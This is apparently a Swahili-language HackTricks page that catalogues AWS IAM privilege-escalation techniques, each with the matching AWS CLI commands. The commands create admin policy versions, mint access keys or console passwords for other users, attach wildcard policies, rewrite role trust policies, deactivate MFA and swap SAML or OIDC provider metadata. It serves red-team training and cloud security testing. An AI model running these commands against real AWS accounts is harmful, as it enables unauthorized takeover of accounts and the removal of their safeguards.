AWS - IAM Privesc
Reading time: 8 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
IAM
Kwa maelezo zaidi kuhusu IAM angalia:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Inatoa uwezo wa kuunda toleo jipya la sera ya IAM, ikipita hitaji la ruhusa ya iam:SetDefaultPolicyVersion
kwa kutumia bendera ya --set-as-default
. Hii inaruhusu kufafanua ruhusa za kawaida.
Amri ya Kutekeleza:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Madhara: Inapandisha moja kwa moja mamlaka kwa kuruhusu hatua yoyote kwenye rasilimali yoyote.
iam:SetDefaultPolicyVersion
Inaruhusu kubadilisha toleo la kawaida la sera ya IAM kuwa toleo lingine lililopo, ambayo inaweza kuongeza mamlaka ikiwa toleo jipya lina ruhusa zaidi.
Amri ya Bash:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Madhara: Kuinua hadhi kwa njia isiyo ya moja kwa moja kwa kuwezesha ruhusa zaidi.
iam:CreateAccessKey
Inaruhusu kuunda kitambulisho cha ufikiaji na funguo za siri za ufikiaji kwa mtumiaji mwingine, ikisababisha kuinuka kwa hadhi.
Kuvunja:
aws iam create-access-key --user-name <target_user>
Madhara: Kuinua kibali moja kwa moja kwa kudai ruhusa za mtumiaji mwingine.
iam:CreateLoginProfile
| iam:UpdateLoginProfile
Inaruhusu kuunda au kuboresha profaili ya kuingia, ikiwa ni pamoja na kuweka nywila za kuingia kwenye AWS console, na kusababisha kuinua kibali moja kwa moja.
Dhamira ya Kutumia:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Kuvunja kwa Sasisho:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Madhara: Kuinua kibali moja kwa moja kwa kuingia kama "mtumiaji yeyote".
iam:UpdateAccessKey
Inaruhusu kuwezesha ufunguo wa upatikanaji uliozimwa, ambayo inaweza kusababisha upatikanaji usioidhinishwa ikiwa mshambuliaji ana ufunguo uliozimwa.
Kuvunja:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Madhara: Kuinua hadhi moja kwa moja kwa kurejesha funguo za ufikiaji.
iam:CreateServiceSpecificCredential
| iam:ResetServiceSpecificCredential
Inaruhusu kuunda au kurekebisha akreditivu za huduma maalum za AWS (kwa mfano, CodeCommit, Amazon Keyspaces), ikirithi ruhusa za mtumiaji anayehusishwa.
Dhamira ya Uundaji:
aws iam create-service-specific-credential --user-name <username> --service-name <service>
Kuvunja kwa Reset:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Madhara: Kuinua moja kwa moja haki ndani ya ruhusa za huduma za mtumiaji.
iam:AttachUserPolicy
|| iam:AttachGroupPolicy
Inaruhusu kuambatisha sera kwa watumiaji au vikundi, kwa moja kwa moja kuinua haki kwa kurithi ruhusa za sera iliyounganishwa.
Kuvunja kwa Mtumiaji:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Kuvunja kwa Kundi:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Madhara: Kuinua kibali moja kwa moja kwa chochote ambacho sera inaruhusu.
iam:AttachRolePolicy
, ( sts:AssumeRole
|iam:createrole
) | iam:PutUserPolicy
| iam:PutGroupPolicy
| iam:PutRolePolicy
Inaruhusu kuambatisha au kuweka sera kwa majukumu, watumiaji, au vikundi, ikiruhusu kuinua kibali moja kwa moja kwa kutoa ruhusa za ziada.
Kudukua kwa Jukumu:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Kuvunja kwa Sera za Inline:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Unaweza kutumia sera kama:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Madhara: Kuongeza kibali moja kwa moja kwa kuongeza ruhusa kupitia sera.
iam:AddUserToGroup
Inaruhusu kuongeza mtu mwenyewe kwenye kundi la IAM, ikipandisha hadhi kwa kurithi ruhusa za kundi.
Kuvunja:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Madhara: Kuinua moja kwa moja hadhi hadi kiwango cha ruhusa za kundi.
iam:UpdateAssumeRolePolicy
Inaruhusu kubadilisha hati ya sera ya kudhani jukumu la jukumu, ikiruhusu kudhani jukumu hilo na ruhusa zake zinazohusiana.
Kuvunja:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Mahali sera inaonekana kama ifuatavyo, ambayo inampa mtumiaji ruhusa ya kuchukua jukumu:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Madhara: Kuinua kibali moja kwa moja kwa kukubali ruhusa za jukumu lolote.
iam:UploadSSHPublicKey
|| iam:DeactivateMFADevice
Inaruhusu kupakia funguo za umma za SSH kwa ajili ya uthibitishaji kwenye CodeCommit na kuzima vifaa vya MFA, vinavyoweza kusababisha kuinua kibali kisicho moja kwa moja.
Kuvunja kwa Kupakia Funguo za SSH:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Kuvunja kwa Kuondoa MFA:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Madhara: Kuinua hadhi isiyo ya moja kwa moja kwa kuwezesha ufikiaji wa CodeCommit au kuzima ulinzi wa MFA.
iam:ResyncMFADevice
Inaruhusu upatanishi wa kifaa cha MFA, ambayo inaweza kusababisha kuinua hadhi isiyo ya moja kwa moja kwa kudhibiti ulinzi wa MFA.
Amri ya Bash:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Madhara: Kuinua hadhi kwa njia isiyo ya moja kwa moja kwa kuongeza au kubadilisha vifaa vya MFA.
iam:UpdateSAMLProvider
, iam:ListSAMLProviders
, (iam:GetSAMLProvider
)
Kwa ruhusa hizi unaweza kubadilisha metadata ya XML ya muunganisho wa SAML. Kisha, unaweza kutumia shirikisho la SAML ku ingia na jukumu lolote ambalo linakubali hilo.
Kumbuka kwamba kufanya hivi watumiaji halali hawawezi kuingia. Hata hivyo, unaweza kupata XML, hivyo unaweza kuweka yako, kuingia na kuunda mipangilio ya awali.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
note
TODO: Chombo kinachoweza kuunda metadata ya SAML na kuingia na jukumu lililobainishwa
iam:UpdateOpenIDConnectProviderThumbprint
, iam:ListOpenIDConnectProviders
, (iam:
GetOpenIDConnectProvider
)
(Haijulikani kuhusu hii) Ikiwa mshambuliaji ana idhini hizi anaweza kuongeza Thumbprint mpya ili kuweza kuingia katika majukumu yote yanayotegemea mtoa huduma.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
Marejeleo
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.